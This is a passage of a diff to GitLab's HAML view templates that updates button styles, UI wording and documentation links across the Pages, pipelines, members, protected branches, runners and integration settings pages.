--- a/app/views/projects/pages/_pages_settings.html.haml
+++ b/app/views/projects/pages/_pages_settings.html.haml
@@ -9,6 +9,10 @@
= f.label :pages_https_only, class: pages_https_only_label_class do
%strong
= s_('GitLabPages|Force HTTPS (requires valid certificates)')
+ - docs_link_start = "<a href='#{help_page_path('user/project/pages/custom_domains_ssl_tls_certification/index', anchor: 'force-https-for-gitlab-pages-websites')}' target='_blank' rel='noopener noreferrer'>".html_safe
+ - link_end = '</a>'.html_safe
+ %p
+ = s_("GitLabPages|When enabled, all attempts to visit your website through HTTP are automatically redirected to HTTPS using a response with status code 301. Requires a valid certificate for all domains. %{docs_link_start}Learn more.%{link_end}").html_safe % { docs_link_start: docs_link_start, link_end: link_end }
- .gl-mt-3
- = f.submit s_('GitLabPages|Save'), class: 'btn btn-confirm gl-button'
+ .gl-mt-3
+ = f.submit s_('GitLabPages|Save'), class: 'btn btn-confirm gl-button'
diff --git a/app/views/projects/pages/_ssl_limitations_warning.html.haml b/app/views/projects/pages/_ssl_limitations_warning.html.haml
index 1f2907d183e..de74b703e95 100644
--- a/app/views/projects/pages/_ssl_limitations_warning.html.haml
+++ b/app/views/projects/pages/_ssl_limitations_warning.html.haml
@@ -2,6 +2,6 @@
= sprite_icon("warning-solid", css_class: "gl-text-orange-600")
%strong= _("Warning:")
- pages_host = Gitlab.config.pages.host
- = s_("GitLabPages|When using Pages under the general domain of a GitLab instance (%{pages_host}), you cannot use HTTPS with sub-subdomains. This means that if your username/groupname contains a dot it will not work. This is a limitation of the HTTP Over TLS protocol. HTTP pages will continue to work provided you don't redirect HTTP to HTTPS.").html_safe % { pages_host: pages_host }
-
- %strong= external_link(s_("GitLabPages|Learn more."), "https://docs.gitlab.com/ee/user/project/pages/introduction.html#limitations")
+ - docs_link_start = "<a href='#{help_page_path('user/project/pages/introduction', anchor: 'limitations')}' target='_blank' rel='noopener noreferrer'>".html_safe
+ - link_end = '</a>'.html_safe
+ = s_("GitLabPages|When using Pages under the general domain of a GitLab instance (%{pages_host}), you cannot use HTTPS with sub-subdomains. This means that if your username/groupname contains a dot it will not work. This is a limitation of the HTTP Over TLS protocol. HTTP pages will continue to work provided you don't redirect HTTP to HTTPS. %{docs_link_start}Learn more.%{link_end}").html_safe % { pages_host: pages_host, docs_link_start: docs_link_start, link_end: link_end }
diff --git a/app/views/projects/pages/_use.html.haml b/app/views/projects/pages/_use.html.haml
index ec3fc27dc20..20e6338fa76 100644
--- a/app/views/projects/pages/_use.html.haml
+++ b/app/views/projects/pages/_use.html.haml
@@ -4,8 +4,7 @@
= s_('GitLabPages|Configure pages')
.card-body
%p.gl-mb-0
- - docs_link_start = "<a href='#{help_page_path('user/project/pages/index.md')}' target='_blank' rel='noopener noreferrer'>".html_safe
+ - docs_link_start = "<a href='#{help_page_path('user/project/pages/index')}' target='_blank' rel='noopener noreferrer'>".html_safe
- samples_link_start = "<a href='https://gitlab.com/pages' target='_blank' rel='noopener noreferrer'>".html_safe
- - templates_link_start = "<a href='https://gitlab.com/gitlab-org/project-templates' target='_blank' rel='noopener noreferrer'>".html_safe
- link_end = '</a>'.html_safe
- = s_('GitLabPages|See the %{docs_link_start}GitLab Pages documentation%{link_end} to learn how to upload your static site and have GitLab serve it. You can also follow a %{samples_link_start}sample project%{link_end} or use a %{templates_link_start}GitLab CI template%{link_end}.').html_safe % { docs_link_start: docs_link_start, samples_link_start: samples_link_start, templates_link_start: templates_link_start, link_end: link_end }
+ = s_('GitLabPages|Your Pages site is not configured yet. See the %{docs_link_start}GitLab Pages documentation%{link_end} to learn how to upload your static site and have GitLab serve it. You can also take some inspiration from the %{samples_link_start}sample Pages projects%{link_end}.').html_safe % { docs_link_start: docs_link_start, samples_link_start: samples_link_start, link_end: link_end }
diff --git a/app/views/projects/pages/show.html.haml b/app/views/projects/pages/show.html.haml
index d0d5e675fcb..64760d8972f 100644
--- a/app/views/projects/pages/show.html.haml
+++ b/app/views/projects/pages/show.html.haml
@@ -9,7 +9,9 @@
= s_('GitLabPages|New Domain')
%p.light
- = s_('GitLabPages|With GitLab Pages you can host your static websites on GitLab. Combined with the power of GitLab CI and the help of GitLab Runner you can deploy static pages for your individual projects, your user or your group.')
+ - docs_link_start = "<a href='#{help_page_path('user/project/pages/index')}' target='_blank' rel='noopener noreferrer'>".html_safe
+ - link_end = '</a>'.html_safe
+ = s_('GitLabPages|With GitLab Pages you can host your static website directly from your GitLab repository. %{docs_link_start}Learn more.%{link_end}').html_safe % { docs_link_start: docs_link_start, link_end: link_end }
= render 'pages_settings'
diff --git a/app/views/projects/pages_domains/_dns.html.haml b/app/views/projects/pages_domains/_dns.html.haml
index dc8127ab068..267317196f8 100644
--- a/app/views/projects/pages_domains/_dns.html.haml
+++ b/app/views/projects/pages_domains/_dns.html.haml
@@ -23,7 +23,7 @@
- text, status = domain_presenter.unverified? ? [_('Unverified'), 'badge-danger'] : [_('Verified'), 'badge-success']
.badge{ class: status }
= text
- = link_to sprite_icon("redo"), verify_project_pages_domain_path(@project, domain_presenter), method: :post, class: "btn has-tooltip", title: _("Retry verification")
+ = link_to sprite_icon("redo"), verify_project_pages_domain_path(@project, domain_presenter), method: :post, class: "gl-button btn btn-default has-tooltip", title: _("Retry verification")
.input-group
= text_field_tag :domain_verification, verification_record, class: "monospace js-select-on-focus form-control", readonly: true
.input-group-append
diff --git a/app/views/projects/pages_domains/_lets_encrypt_callout.html.haml b/app/views/projects/pages_domains/_lets_encrypt_callout.html.haml
index 9072312c100..d6c213571f2 100644
--- a/app/views/projects/pages_domains/_lets_encrypt_callout.html.haml
+++ b/app/views/projects/pages_domains/_lets_encrypt_callout.html.haml
@@ -9,7 +9,7 @@
= sprite_icon('warning-solid', css_class: ' mr-2 gl-text-orange-600')
= _("Something went wrong while obtaining the Let's Encrypt certificate.")
.row.mx-0.mt-3
- = link_to s_('GitLabPagesDomains|Retry'), retry_auto_ssl_project_pages_domain_path(@project, domain_presenter), class: "btn btn-sm btn-grouped btn-warning", method: :post
+ = link_to s_('GitLabPagesDomains|Retry'), retry_auto_ssl_project_pages_domain_path(@project, domain_presenter), class: "gl-button btn btn-default btn-sm btn-grouped", method: :post
- elsif !domain_presenter.certificate_gitlab_provided?
.form-group.border-section.js-shown-if-auto-ssl{ class: ("d-none" unless auto_ssl_available_and_enabled) }
.row
diff --git a/app/views/projects/pipeline_schedules/_form.html.haml b/app/views/projects/pipeline_schedules/_form.html.haml
index 8a369202555..628c4780cf2 100644
--- a/app/views/projects/pipeline_schedules/_form.html.haml
+++ b/app/views/projects/pipeline_schedules/_form.html.haml
@@ -3,7 +3,7 @@
.form-group.row
.col-md-9
= f.label :description, _('Description'), class: 'label-bold'
- = f.text_field :description, class: 'form-control', required: true, autofocus: true, placeholder: s_('PipelineSchedules|Provide a short description for this pipeline')
+ = f.text_field :description, class: 'form-control gl-form-input', required: true, autofocus: true, placeholder: s_('PipelineSchedules|Provide a short description for this pipeline')
.form-group.row
.col-md-9
= f.label :cron, _('Interval Pattern'), class: 'label-bold'
@@ -11,12 +11,12 @@
.form-group.row
.col-md-9
= f.label :cron_timezone, _('Cron Timezone'), class: 'label-bold'
- = dropdown_tag(_("Select a timezone"), options: { toggle_class: 'btn js-timezone-dropdown w-100', dropdown_class: 'w-100', title: _("Select a timezone"), filter: true, placeholder: s_("OfSearchInADropdown|Filter"), data: { data: timezone_data } } )
+ = dropdown_tag(_("Select a timezone"), options: { toggle_class: 'gl-button btn btn-default js-timezone-dropdown w-100', dropdown_class: 'w-100', title: _("Select a timezone"), filter: true, placeholder: s_("OfSearchInADropdown|Filter"), data: { data: timezone_data } } )
= f.text_field :cron_timezone, value: @schedule.cron_timezone, id: 'schedule_cron_timezone', class: 'hidden', name: 'schedule[cron_timezone]', required: true
.form-group.row
.col-md-9
= f.label :ref, _('Target Branch'), class: 'label-bold'
- = dropdown_tag(_("Select target branch"), options: { toggle_class: 'btn js-target-branch-dropdown w-100', dropdown_class: 'git-revision-dropdown w-100', title: _("Select target branch"), filter: true, placeholder: s_("OfSearchInADropdown|Filter"), data: { data: @project.repository.branch_names, default_branch: @project.default_branch } } )
+ = dropdown_tag(_("Select target branch"), options: { toggle_class: 'gl-button btn btn-default js-target-branch-dropdown w-100', dropdown_class: 'git-revision-dropdown w-100', title: _("Select target branch"), filter: true, placeholder: s_("OfSearchInADropdown|Filter"), data: { data: @project.repository.branch_names, default_branch: @project.default_branch } } )
= f.text_field :ref, value: @schedule.ref, id: 'schedule_ref', class: 'hidden', name: 'schedule[ref]', required: true
.form-group.row.js-ci-variable-list-section
.col-md-9
@@ -27,7 +27,7 @@
= render 'ci/variables/variable_row', form_field: 'schedule', variable: variable, only_key_value: true
= render 'ci/variables/variable_row', form_field: 'schedule', only_key_value: true
- if @schedule.variables.size > 0
- %button.btn.btn-info.btn-inverted.gl-mt-3.js-secret-value-reveal-button{ type: 'button', data: { secret_reveal_status: "#{@schedule.variables.size == 0}" } }
+ %button.gl-button.btn.btn-confirm-secondary.gl-mt-3.js-secret-value-reveal-button{ type: 'button', data: { secret_reveal_status: "#{@schedule.variables.size == 0}" } }
- if @schedule.variables.size == 0
= n_('Hide value', 'Hide values', @schedule.variables.size)
- else
@@ -39,5 +39,5 @@
= f.check_box :active, required: false, value: @schedule.active?
= f.label :active, _('Active'), class: 'gl-font-weight-normal'
.footer-block.row-content-block
- = f.submit _('Save pipeline schedule'), class: 'btn gl-button btn-success'
+ = f.submit _('Save pipeline schedule'), class: 'btn gl-button btn-confirm'
= link_to _('Cancel'), pipeline_schedules_path(@project), class: 'btn gl-button btn-default btn-cancel'
diff --git a/app/views/projects/pipeline_schedules/index.html.haml b/app/views/projects/pipeline_schedules/index.html.haml
index 558c12c04e4..a56e8f7f5c7 100644
--- a/app/views/projects/pipeline_schedules/index.html.haml
+++ b/app/views/projects/pipeline_schedules/index.html.haml
@@ -9,7 +9,7 @@
- if can?(current_user, :create_pipeline_schedule, @project)
.nav-controls
- = link_to new_project_pipeline_schedule_path(@project), class: 'btn gl-button btn-success' do
+ = link_to new_project_pipeline_schedule_path(@project), class: 'btn gl-button btn-confirm' do
%span= _('New schedule')
- if @schedules.present?
diff --git a/app/views/projects/pipelines/_stage.html.haml b/app/views/projects/pipelines/_stage.html.haml
deleted file mode 100644
index 0651ad6fdb8..00000000000
--- a/app/views/projects/pipelines/_stage.html.haml
+++ /dev/null
@@ -1,5 +0,0 @@
-- grouped_statuses = @stage.statuses.latest_ordered.group_by(&:status)
-- Ci::HasStatus::ORDERED_STATUSES.each do |ordered_status|
- - grouped_statuses.fetch(ordered_status, []).each do |status|
- %li
- = render 'ci/status/dropdown_graph_badge', subject: status
diff --git a/app/views/projects/pipelines/_with_tabs.html.haml b/app/views/projects/pipelines/_with_tabs.html.haml
index 58d125acc2d..f0b2349c493 100644
--- a/app/views/projects/pipelines/_with_tabs.html.haml
+++ b/app/views/projects/pipelines/_with_tabs.html.haml
@@ -28,7 +28,7 @@
#js-pipeline-graph-vue
#js-tab-builds.tab-pane
- - if pipeline.legacy_stages.present?
+ - if stages.present?
.table-holder.pipeline-holder
%table.table.ci-table.pipeline
%thead
@@ -39,7 +39,7 @@
%th
%th= _('Coverage')
%th
- = render partial: "projects/stage/stage", collection: pipeline.legacy_stages, as: :stage
+ = render partial: "projects/stage/stage", collection: stages, as: :stage
- if @pipeline.failed_builds.present?
#js-tab-failures.build-failures.tab-pane.build-page
diff --git a/app/views/projects/pipelines/charts.html.haml b/app/views/projects/pipelines/charts.html.haml
index 139f6e3c94d..992407adf71 100644
--- a/app/views/projects/pipelines/charts.html.haml
+++ b/app/views/projects/pipelines/charts.html.haml
@@ -1,4 +1,4 @@
- page_title _('CI/CD Analytics')
#js-project-pipelines-charts-app{ data: { project_path: @project.full_path,
- should_render_deployment_frequency_charts: should_render_deployment_frequency_charts.to_s } }
+ should_render_dora_charts: should_render_dora_charts.to_s } }
diff --git a/app/views/projects/pipelines/index.html.haml b/app/views/projects/pipelines/index.html.haml
index 7d7b8a155ac..4b0487f4685 100644
--- a/app/views/projects/pipelines/index.html.haml
+++ b/app/views/projects/pipelines/index.html.haml
@@ -14,5 +14,7 @@
"can-create-pipeline" => can?(current_user, :create_pipeline, @project).to_s,
"new-pipeline-path" => can?(current_user, :create_pipeline, @project) && new_project_pipeline_path(@project),
"ci-lint-path" => can?(current_user, :create_pipeline, @project) && project_ci_lint_path(@project),
- "reset-cache-path" => can?(current_user, :admin_pipeline, @project) && reset_cache_project_settings_ci_cd_path(@project) ,
- "has-gitlab-ci" => has_gitlab_ci?(@project).to_s } }
+ "reset-cache-path" => can?(current_user, :admin_pipeline, @project) && reset_cache_project_settings_ci_cd_path(@project),
+ "has-gitlab-ci" => has_gitlab_ci?(@project).to_s,
+ "add-ci-yml-path" => can?(current_user, :create_pipeline, @project) && @project.present(current_user: current_user).add_ci_yml_path,
+ "suggested-ci-templates" => experiment_suggested_ci_templates.to_json } }
diff --git a/app/views/projects/pipelines/new.html.haml b/app/views/projects/pipelines/new.html.haml
index 7a3817fe87b..14de982e239 100644
--- a/app/views/projects/pipelines/new.html.haml
+++ b/app/views/projects/pipelines/new.html.haml
@@ -1,9 +1,9 @@
- breadcrumb_title _('Pipelines')
-- page_title s_('Pipeline|Run Pipeline')
+- page_title s_('Pipeline|Run pipeline')
- settings_link = link_to _('CI/CD settings'), project_settings_ci_cd_path(@project)
%h3.page-title
- = s_('Pipeline|Run Pipeline')
+ = s_('Pipeline|Run pipeline')
%hr
- if Feature.enabled?(:new_pipeline_form, @project, default_enabled: :yaml)
@@ -49,7 +49,7 @@
= (s_("Pipeline|Specify variable values to be used in this run. The values specified in %{settings_link} will be used by default.") % {settings_link: settings_link}).html_safe
.form-actions
- = f.submit s_('Pipeline|Run Pipeline'), class: 'btn btn-success js-variables-save-button'
- = link_to _('Cancel'), project_pipelines_path(@project), class: 'btn btn-default float-right'
+ = f.submit s_('Pipeline|Run pipeline'), class: 'btn gl-button btn-confirm gl-mr-3 js-variables-save-button'
+ = link_to _('Cancel'), project_pipelines_path(@project), class: 'btn gl-button btn-default'
%script#availableRefs{ type: "application/json" }= @project.repository.ref_names.to_json.html_safe
diff --git a/app/views/projects/pipelines/show.html.haml b/app/views/projects/pipelines/show.html.haml
index 68c80833299..98b1c5adcb5 100644
--- a/app/views/projects/pipelines/show.html.haml
+++ b/app/views/projects/pipelines/show.html.haml
@@ -24,6 +24,7 @@
- lint_link_start = '<a href="%{url}">'.html_safe % { url: lint_link_url }
= s_('You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}').html_safe % { gitlab_ci_yml: '.gitlab-ci.yml', lint_link_start: lint_link_start, lint_link_end: '</a>'.html_safe }
- = render "projects/pipelines/with_tabs", pipeline: @pipeline, pipeline_has_errors: pipeline_has_errors
+ #js-pipeline-notification{ data: { dag_doc_path: help_page_path('ci/yaml/README.md', anchor: 'needs') } }
+ = render "projects/pipelines/with_tabs", pipeline: @pipeline, stages: @stages, pipeline_has_errors: pipeline_has_errors
.js-pipeline-details-vue{ data: { endpoint: project_pipeline_path(@project, @pipeline, format: :json), metrics_path: namespace_project_ci_prometheus_metrics_histograms_path(namespace_id: @project.namespace, project_id: @project, format: :json), pipeline_project_path: @project.full_path, pipeline_iid: @pipeline.iid, graphql_resource_etag: graphql_etag_pipeline_path(@pipeline) } }
diff --git a/app/views/projects/project_members/index.html.haml b/app/views/projects/project_members/index.html.haml
index c88dae079ae..22bf61b6873 100644
--- a/app/views/projects/project_members/index.html.haml
+++ b/app/views/projects/project_members/index.html.haml
@@ -54,25 +54,25 @@
= link_to '#tab-members', class: ['nav-link', ('active' unless groups_tab_active?)], data: { toggle: 'tab' } do
%span
= _('Members')
- %span.badge.badge-pill= @project_members.total_count
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @project_members.total_count
- if show_groups?(@group_links)
%li.nav-item
= link_to '#tab-groups', class: ['nav-link', ('active' if groups_tab_active?)] , data: { toggle: 'tab', qa_selector: 'groups_list_tab' } do
%span
= _('Groups')
- %span.badge.badge-pill= @group_links.count
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @group_links.count
- if show_invited_members?(@project, @invited_members)
%li.nav-item
= link_to '#tab-invited-members', class: 'nav-link', data: { toggle: 'tab' } do
%span
= _('Invited')
- %span.badge.badge-pill= @invited_members.count
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @invited_members.count
- if show_access_requests?(@project, @requesters)
%li.nav-item
= link_to '#tab-access-requests', class: 'nav-link', data: { toggle: 'tab' } do
%span
= _('Access requests')
- %span.badge.badge-pill= @requesters.count
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @requesters.count
.tab-content
#tab-members.tab-pane{ class: ('active' unless groups_tab_active?) }
.js-project-members-list{ data: project_members_list_data_attributes(@project, @project_members) }
diff --git a/app/views/projects/protected_branches/shared/_branches_list.html.haml b/app/views/projects/protected_branches/shared/_branches_list.html.haml
index 522e9888bc6..2691513c994 100644
--- a/app/views/projects/protected_branches/shared/_branches_list.html.haml
+++ b/app/views/projects/protected_branches/shared/_branches_list.html.haml
@@ -23,7 +23,7 @@
%th
= s_("ProtectedBranch|Allowed to push")
- - if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project)
+ - if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project, default_enabled: :yaml)
%th
= s_("ProtectedBranch|Allow force push")
%span.has-tooltip{ data: { container: 'body' }, title: s_('ProtectedBranch|Allow force push for all users with push access.'), 'aria-hidden': 'true' }
diff --git a/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml b/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
index ae03b198bc9..9fdcea96c00 100644
--- a/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
+++ b/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
@@ -21,7 +21,7 @@
= f.label :push_access_levels_attributes, s_("ProtectedBranch|Allowed to push:"), class: 'col-md-2 text-left text-md-right'
.col-md-10
= yield :push_access_levels
- - if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project)
+ - if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project, default_enabled: :yaml)
.form-group.row
= f.label :allow_force_push, s_("ProtectedBranch|Allow force push:"), class: 'col-md-2 gl-text-left text-md-right'
.col-md-10
@@ -30,4 +30,4 @@
= s_("ProtectedBranch|Allow force push for all users with push access.")
= render_if_exists 'projects/protected_branches/ee/code_owner_approval_form', f: f
.card-footer
- = f.submit s_('ProtectedBranch|Protect'), class: 'btn-success gl-button btn', disabled: true, data: { qa_selector: 'protect_button' }
+ = f.submit s_('ProtectedBranch|Protect'), class: 'gl-button btn btn-confirm', disabled: true, data: { qa_selector: 'protect_button' }
diff --git a/app/views/projects/protected_tags/shared/_create_protected_tag.html.haml b/app/views/projects/protected_tags/shared/_create_protected_tag.html.haml
index 332cdd98e4a..ba0935fff7d 100644
--- a/app/views/projects/protected_tags/shared/_create_protected_tag.html.haml
+++ b/app/views/projects/protected_tags/shared/_create_protected_tag.html.haml
@@ -20,4 +20,4 @@
= yield :create_access_levels
.card-footer
- = f.submit _('Protect'), class: 'btn-success btn', disabled: true, data: { qa_selector: 'protect_tag_button' }
+ = f.submit _('Protect'), class: 'gl-button btn btn-confirm', disabled: true, data: { qa_selector: 'protect_tag_button' }
diff --git a/app/views/projects/protected_tags/shared/_protected_tag.html.haml b/app/views/projects/protected_tags/shared/_protected_tag.html.haml
index 71c29f9b7b6..972c96dc882 100644
--- a/app/views/projects/protected_tags/shared/_protected_tag.html.haml
+++ b/app/views/projects/protected_tags/shared/_protected_tag.html.haml
@@ -19,4 +19,4 @@
- if can? current_user, :admin_project, @project
%td
- = link_to 'Unprotect', [@project, protected_tag, { update_section: 'js-protected-tags-settings' }], data: { confirm: 'Tag will be writable for developers. Are you sure?' }, method: :delete, class: 'btn btn-warning'
+ = link_to 'Unprotect', [@project, protected_tag, { update_section: 'js-protected-tags-settings' }], data: { confirm: 'Tag will be writable for developers. Are you sure?' }, method: :delete, class: 'gl-button btn btn-danger-secondary'
diff --git a/app/views/projects/runners/_group_runners.html.haml b/app/views/projects/runners/_group_runners.html.haml
index 6e46423cde0..b37b530c33f 100644
--- a/app/views/projects/runners/_group_runners.html.haml
+++ b/app/views/projects/runners/_group_runners.html.haml
@@ -16,7 +16,7 @@
= link_to toggle_group_runners_project_runners_path(@project), class: 'btn gl-button btn-warning-secondary', method: :post do
= _('Disable group runners')
- else
- = link_to toggle_group_runners_project_runners_path(@project), class: 'btn gl-button btn-success btn-inverted', method: :post do
+ = link_to toggle_group_runners_project_runners_path(@project), class: 'btn gl-button btn-confirm-secondary', method: :post do
= _('Enable group runners')
&nbsp;
= _('for this project')
diff --git a/app/views/projects/runners/_runner.html.haml b/app/views/projects/runners/_runner.html.haml
index 7f5acbbe890..bf2e746b4a4 100644
--- a/app/views/projects/runners/_runner.html.haml
+++ b/app/views/projects/runners/_runner.html.haml
@@ -1,44 +1,40 @@
-%li.runner{ id: dom_id(runner) }
- %h4
- = runner_status_icon(runner)
-
- - if @project_runners.include?(runner)
- = link_to _("%{token}...") % { token: runner.short_sha }, project_runner_path(@project, runner), class: 'commit-sha has-tooltip', title: _("Partial token for reference only")
-
+%li{ id: dom_id(runner) }
+ .gl-display-flex.gl-justify-content-space-between
+ %div
+ = runner_status_icon(runner, size: 16)
+ - if @project_runners.include?(runner)
+ = link_to "##{runner.id} (#{runner.short_sha})", project_runner_path(@project, runner)
+ - else
+ %span
+ = "##{runner.id} (#{runner.short_sha})"
- if runner.locked?
%span.has-tooltip{ title: _('Locked to current projects') }
= sprite_icon('lock')
-
- %small.edit-runner
- = link_to edit_project_runner_path(@project, runner), class: 'btn gl-button btn-edit' do
- = sprite_icon('pencil', css_class: 'gl-my-2')
- - else
- %span.commit-sha
- = runner.short_sha
-
- .float-right
- - if @project_runners.include?(runner)
- - if runner.active?
- = link_to _('Pause'), pause_project_runner_path(@project, runner), method: :post, class: 'btn gl-button btn-sm btn-danger', data: { confirm: _("Are you sure?") }
- - else
- = link_to _('Resume'), resume_project_runner_path(@project, runner), method: :post, class: 'btn gl-button btn-success btn-sm'
- - if runner.belongs_to_one_project?
- = link_to _('Remove runner'), project_runner_path(@project, runner), data: { confirm: _("Are you sure?") }, method: :delete, class: 'btn gl-button btn-danger btn-sm'
- - else
- - runner_project = @project.runner_projects.find_by(runner_id: runner) # rubocop: disable CodeReuse/ActiveRecord
- = link_to _('Disable for this project'), project_runner_project_path(@project, runner_project), data: { confirm: _("Are you sure?") }, method: :delete, class: 'btn gl-button btn-danger btn-sm'
- - elsif runner.project_type?
- = form_for [@project, @project.runner_projects.new] do |f|
- = f.hidden_field :runner_id, value: runner.id
- = f.submit _('Enable for this project'), class: 'btn gl-button btn-sm'
- .float-right
- %small.light
- \##{runner.id}
+ .gl-ml-2
+ .btn-group.btn-group-sm
+ - if @project_runners.include?(runner)
+ = link_to edit_project_runner_path(@project, runner), class: 'btn gl-button btn-icon', title: _('Edit'), aria: { label: _('Edit') }, data: { testid: 'edit-runner-link', toggle: 'tooltip', placement: 'top', container: 'body' } do
+ = sprite_icon('pencil')
+ - if runner.active?
+ = link_to pause_project_runner_path(@project, runner), method: :post, class: 'btn gl-button btn-icon', title: _('Pause'), aria: { label: _('Pause') }, data: { toggle: 'tooltip', placement: 'top', container: 'body', confirm: _("Are you sure?") } do
+ = sprite_icon('pause')
+ - else
+ = link_to resume_project_runner_path(@project, runner), method: :post, class: 'btn gl-button btn-icon', title: _('Resume'), aria: { label: _('Resume') }, data: { toggle: 'tooltip', placement: 'top', container: 'body' } do
+ = sprite_icon('play')
+ - if runner.belongs_to_one_project?
+ = link_to _('Remove runner'), project_runner_path(@project, runner), data: { confirm: _("Are you sure?") }, method: :delete, class: 'btn gl-button btn-danger'
+ - else
+ - runner_project = @project.runner_projects.find_by(runner_id: runner) # rubocop: disable CodeReuse/ActiveRecord
+ = link_to _('Disable for this project'), project_runner_project_path(@project, runner_project), data: { confirm: _("Are you sure?") }, method: :delete, class: 'btn gl-button btn-danger'
+ - elsif runner.project_type?
+ = form_for [@project, @project.runner_projects.new] do |f|
+ = f.hidden_field :runner_id, value: runner.id
+ = f.submit _('Enable for this project'), class: 'btn gl-button'
- if runner.description.present?
- %p.runner-description
+ %p.gl-my-2
= runner.description
- if runner.tags.present?
- %p
+ .gl-my-2
- runner.tags.map(&:name).sort.each do |tag|
%span.badge.gl-badge.sm.badge-pill.badge-primary
= tag
diff --git a/app/views/projects/runners/_shared_runners.html.haml b/app/views/projects/runners/_shared_runners.html.haml
index 484d8f8a40c..fccfca38013 100644
--- a/app/views/projects/runners/_shared_runners.html.haml
+++ b/app/views/projects/runners/_shared_runners.html.haml
@@ -12,7 +12,7 @@
= link_to toggle_shared_runners_project_runners_path(@project), class: 'btn gl-button btn-warning-secondary', method: :post do
= _('Disable shared runners')
- else
- = link_to toggle_shared_runners_project_runners_path(@project), class: 'btn gl-button btn-success', method: :post do
+ = link_to toggle_shared_runners_project_runners_path(@project), class: 'btn gl-button btn-confirm', method: :post do
= _('Enable shared runners')
&nbsp; for this project
diff --git a/app/views/projects/runners/edit.html.haml b/app/views/projects/runners/edit.html.haml
index f93cd23c83e..77150715158 100644
--- a/app/views/projects/runners/edit.html.haml
+++ b/app/views/projects/runners/edit.html.haml
@@ -1,6 +1,9 @@
-- page_title _('Edit'), "#{@runner.description} ##{@runner.id}", _('runners')
+- page_title _('Edit'), "#{@runner.description} ##{@runner.id}", _('Runners')
-%h4 Runner ##{@runner.id}
+%h2.page-title
+ = s_('Runners|Runner #%{runner_id}' % { runner_id: @runner.id })
+ = render 'shared/runners/runner_type_badge', runner: @runner
-%hr
- = render 'shared/runners/form', runner: @runner, runner_form_url: project_runner_path(@project, @runner)
+= render 'shared/runners/runner_type_alert', runner: @runner
+
+= render 'shared/runners/form', runner: @runner, runner_form_url: project_runner_path(@project, @runner)
diff --git a/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml b/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
index 549ca36cb6a..fe983961657 100644
--- a/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
+++ b/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
@@ -1,20 +1,31 @@
- pretty_name = @project&.full_name ? html_escape(@project&.full_name) : '<' + _('project name') + '>'
- run_actions_text = html_escape(s_("ProjectService|Perform common operations on GitLab project: %{project_name}")) % { project_name: pretty_name }
-%p= s_("ProjectService|To set up this service:")
+%p= s_("ProjectService|To configure this integration, you should:")
%ul.list-unstyled.indent-list
%li
1.
- = link_to 'https://docs.mattermost.com/developer/slash-commands.html#enabling-custom-commands', target: '_blank', rel: 'noopener noreferrer nofollow' do
+ = link_to 'https://docs.gitlab.com/ee/user/project/integrations/mattermost_slash_commands.html#enable-custom-slash-commands', target: '_blank', rel: 'noopener noreferrer nofollow' do
Enable custom slash commands
= sprite_icon('external-link')
- on your Mattermost installation
+ on your Mattermost installation.
%li
2.
- = link_to 'https://docs.mattermost.com/developer/slash-commands.html#set-up-a-custom-command', target: '_blank', rel: 'noopener noreferrer nofollow' do
+ = link_to 'https://docs.gitlab.com/ee/user/project/integrations/mattermost_slash_commands.html#create-a-slash-command', target: '_blank', rel: 'noopener noreferrer nofollow' do
Add a slash command
= sprite_icon('external-link')
- in your Mattermost team with these options:
+ in your Mattermost team with the options listed below.
+ %li
+ 3. Paste the token into the
+ %strong Token
+ field.
+ %li
+ 4. Select the
+ %strong Active
+ check box, then select
+ %strong Save changes
+ to start using GitLab inside Mattermost!
+
%hr
.help-form
@@ -85,17 +96,3 @@
= text_field_tag :autocomplete_description, run_actions_text, class: 'form-control form-control-sm', readonly: 'readonly'
.input-group-append
= clipboard_button(target: '#autocomplete_description', class: 'input-group-text')
-
-%hr
-
-%ul.list-unstyled.indent-list
- %li
- 3. Paste the
- %strong Token
- into the field below
- %li
- 4. Select the
- %strong Active
- checkbox, press
- %strong Save changes
- and start using GitLab inside Mattermost!
diff --git a/app/views/projects/services/mattermost_slash_commands/_help.html.haml b/app/views/projects/services/mattermost_slash_commands/_help.html.haml
index 1005d9f7990..4a7757daebc 100644
--- a/app/views/projects/services/mattermost_slash_commands/_help.html.haml
+++ b/app/views/projects/services/mattermost_slash_commands/_help.html.haml
@@ -3,15 +3,15 @@
.info-well
.well-segment
%p
- = s_("MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost.")
+ = s_("MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost.")
= link_to help_page_path('user/project/integrations/mattermost_slash_commands.md'), target: '_blank' do
- = _("View documentation")
+ = _("How do I configure this integration?")
= sprite_icon('external-link')
%p.inline
- = s_("MattermostService|See list of available commands in Mattermost after setting up this service, by entering")
+ = s_("MattermostService|After you configure the integration, view your new Mattermost commands by entering")
%kbd.inline /&lt;trigger&gt; help
- - unless enabled || @service.template?
+ - if !enabled && @service.project_level?
= render 'projects/services/mattermost_slash_commands/detailed_help', subject: @service
-- if enabled && !@service.template?
+- if enabled && @service.project_level?
= render 'projects/services/mattermost_slash_commands/installation_info', subject: @service
diff --git a/app/views/projects/services/prometheus/_configuration_banner.html.haml b/app/views/projects/services/prometheus/_configuration_banner.html.haml
index 9b8da857398..3786b845692 100644
--- a/app/views/projects/services/prometheus/_configuration_banner.html.haml
+++ b/app/views/projects/services/prometheus/_configuration_banner.html.haml
@@ -21,6 +21,6 @@
.col-sm-10
%p.gl-mt-3
= s_('PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments.')
